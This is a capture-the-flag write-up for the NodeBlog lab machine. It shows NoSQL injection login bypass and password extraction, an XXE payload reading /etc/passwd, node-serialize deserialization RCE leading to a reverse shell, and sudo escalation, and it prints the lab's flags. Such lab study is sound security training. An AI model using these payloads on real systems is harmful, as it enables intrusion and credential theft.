NodeBlog
7 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.139
- Release: 10 / 01 / 2022
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.139 -p 22,5000
Nmap scan report for 10.10.11.139
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
5000/tcp open http Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 15.37 seconds
This machine has ports 22 (SSH) and 5000 (HTTP) open.
Web enumeration
If we go to http://10.10.11.139:5000
, we will find a blog built in Express.js (a web framework for Node.js):
Here we can try to login:
The first this we can try are default credentials. During the process, we notice that the login form is vulnerable to user enumeration:
$ curl 10.10.11.139:5000/login -sd 'user=asdf&password=asdf' | grep Invalid
Invalid Username
$ curl 10.10.11.139:5000/login -sd 'user=admin&password=asdf' | grep Invalid
Invalid Password
And thus, we know that admin
is a valid user. Then, we can try to make a brute force attack in order to enumerate more valid users:
$ ffuf -w $WORDLISTS/names.txt -u http://10.10.11.139:5000/login -d 'user=FUZZ&password=x' -mr 'Invalid Password' -H 'Content-Type: application/x-www-form-urlencoded'
admin [Status: 200, Size: 1040, Words: 151, Lines: 30]
But it seems that there are no common usernames but admin
.
Finding a NoSQLi
After trying some SQL injection payloads and common passwords, one could guess that the server is using MongoDB (MEAN stack: MongoDB, Express.js, Angular, Node.js). Hence, we can try some NoSQL injection payloads.
PayloadsAllTheThings has a lot of payloads, ones using application/x-www-form-urlencoded
and others using application/json
.
We can try application/x-www-form-urlencoded
(as in the previous curl
commands), but none of them work. Let’s change the content type and see if it is correct:
$ curl 10.10.11.139:5000/login -sd '{"user":"admin","password":"asdf"}' -H 'Content-Type: application/json' | grep Invalid
Invalid Password
Alright, now we can add some operators for MongoDB:
$ curl 10.10.11.139:5000/login -sd '{"user":{"$eq":"admin"},"password":"asdf"}' -H 'Content-Type: application/json' | grep Invalid
Invalid Password
$ curl 10.10.11.139:5000/login -sd '{"user":{"$ne":"admin"},"password":"asdf"}' -H 'Content-Type: application/json' | grep Invalid
Invalid Username
$ curl 10.10.11.139:5000/login -sd '{"user":{"$ne":"asdf"},"password":"asdf"}' -H 'Content-Type: application/json' | grep Invalid
Invalid Password
Using the following payload, we can bypass the login form and get a valid session cookie:
$ curl 10.10.11.139:5000/login -isd '{"user":"admin","password":{"$regex":""}}' -H 'Content-Type: application/json'
HTTP/1.1 200 OK
X-Powered-By: Express
Set-Cookie: auth=%7B%22user%22%3A%22admin%,%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D; Max-Age=900; Path=/; HttpOnly
Content-Type: text/html; charset=utf-8
Content-Length: 2589
ETag: W/"a1d-JGrC4mhnlEApoTWWPEhYOlLd+UA"
Date:
Connection: keep-alive
Keep-Alive: timeout=5
...
Moreover, we can extract the password for admin
using $regex
operator. To extract the length of the password, we can increase the number until it matches (there is no output on the second command because there is no error message):
$ curl 10.10.11.139:5000/login -sd '{"user":"admin","password":{"$regex":"^.{24}$"}}' -H 'Content-Type: application/json' | grep Invalid
Invalid Password
$ curl 10.10.11.139:5000/login -sd '{"user":"admin","password":{"$regex":"^.{25}$"}}' -H 'Content-Type: application/json' | grep Invalid
Then we can add characters until the regular expression matches and finally obtain the password. To automate the process, I used a Bash script called nosqli.sh
. This script gets the length of the password and then extracts the password (detailed explanation here):
$ bash nosqli.sh
Password length: 25
Password: IppsecSaysPleaseSubscribe
Finding an XXE
Using the password obtained, we can login successfully:
Here, we can create a new article. However, once we try to save it, we get an error:
This will be interesting later, because we have the root path of the web application (/opt/blog
).
There is another functionality that is upload a post. We can add a random file and get an XML error:
So, we must upload a valid XML document, such as this one:
<?xml version="1.0"?>
<post>
<title>ASDF</title>
<description></description>
<markdown></markdown>
</post>
And we see that the server parses the XML document and fills the form to edit the blog post:
At this point, we can try to perform an XML External Entity (XXE) injection, that is, adding an entity that gets the content of a file and puts it in an element of the XML document. A simple XXE payload is this one:
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<post>
<title>ASDF</title>
<description>&xxe;</description>
<markdown></markdown>
</post>
And if we upload this XML document, we get the file /etc/passwd
in the description field:
With this vulnerability, we can read files from the server if we know the absolute path. For that purpose, I built a Python script called xxe.py
(detailed explanation here).
We have the root path for the server from a previous error message (/opt/blog
). The main file for a Node.js web application is usually: app.js
, main.js
, script.js
, index.js
or server.js
. We can try this filenames, and get that server.js
exists:
$ pyhton3 xxe.py /opt/blog/server.js
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser')
const crypto = require('crypto')
const cookie_secret = 'UHC-SecretCookie'
// const session = require('express-session')
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json())
app.use(cookieParser())
// app.use(session({ secret: 'UHC-SecretKey-123' }))
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex'))) {
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
We could extract more source code based on the main file (namely, /opt/blog/routes/login.js
, /opt/blog/routes/articles.js
, /opt/blog/models/user.js
and /opt/blog/models/article.js
). However, server.js
is enough to continue.
Finding an insecure deserialization
The JavaScript file shown above uses node-serialize
, which is a Node.js module used to serialize and unserialize JSON documents. This module is known to have a Remote Code Execution vulnerability via unserialize
. You can find more information and a simple proof of concept in snyk.io (CVE-2017-5941). We need to enter a payload like this one:
const serialize = require('node-serialize')
const payload = `{"rce":"_$$ND_FUNC$$_function() { require('child_process').exec('ls') }()"}`
serialize.unserialize(payload)
The unserialize
method is used over the session cookie to check if the signature is correct. Hence, we can add the payload to the cookie, because it is in JSON format (using URL encoding).
For that purpose, I decided to build a simple Node.js script that authenticates and modifies the session cookie in order to inject the RCE payload and send a reverse shell. This script is called unserialize_rce.js
(detailed explanation here).
Using this script, we are able to access into the machine as admin
:
$ node unserialize_rce.js 10.10.17.44 4444
[+] Login successful
[+] RCE completed
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.139.
Ncat: Connection from 10.10.11.139:55018.
bash: cannot set terminal process group (861): Inappropriate ioctl for device
bash: no job control in this shell
admin@nodeblog:/opt/blog$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
admin@nodeblog:/opt/blog$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
admin@nodeblog:/opt/blog$ export TERM=xterm
admin@nodeblog:/opt/blog$ export SHELL=bash
admin@nodeblog:/opt/blog$ stty rows 50 columns 158
Privilege escalation
Once as admin
inside the machine, we can go to its home directory and read the user.txt
flag:
admin@nodeblog:/opt/blog$ cd
admin@nodeblog:~$ cat user.txt
7d30843b9570b5efd388820002409de2
Moreover, .bash_history
is not linked to /dev/null
, so we can read the last executed used by admin
:
admin@nodeblog:~$ ls -la --time-style=+
total 36
drwxrwxrwx 1 admin admin 220 .
drwxr-xr-x 1 root root 10 ..
-rw------- 1 admin admin 1863 .bash_history
-rw-r--r-- 1 admin admin 220 .bash_logout
-rw-r--r-- 1 admin admin 3771 .bashrc
drwx------ 1 admin admin 40 .cache
-rw------- 1 admin admin 383 .dbshell
-rw------- 1 admin admin 0 .mongorc.js
drwxrwxr-x 1 admin admin 158 .pm2
-rw-r--r-- 1 admin admin 807 .profile
-rw-r--r-- 1 admin admin 0 .sudo_as_admin_successful
-rw------- 1 admin admin 10950 .viminfo
-rw-r--r-- 1 root root 33 user.txt
admin@nodeblog:~$ tail .bash_history
node server.js
vi server.js
node server.js
vi server.js
node server.js
vi server.js
node server.js
vi server.js
node server.js
sudo su
As it is using sudo su
, we can guess that this user can be root
using sudo
. We can try the same password we extracted from MongoDB, and done:
admin@nodeblog:~$ sudo su
[sudo] password for admin:
root@nodeblog:/home/admin# cd
root@nodeblog:~# cat root.txt
5ebff8f607158b4d1b78427af94f5358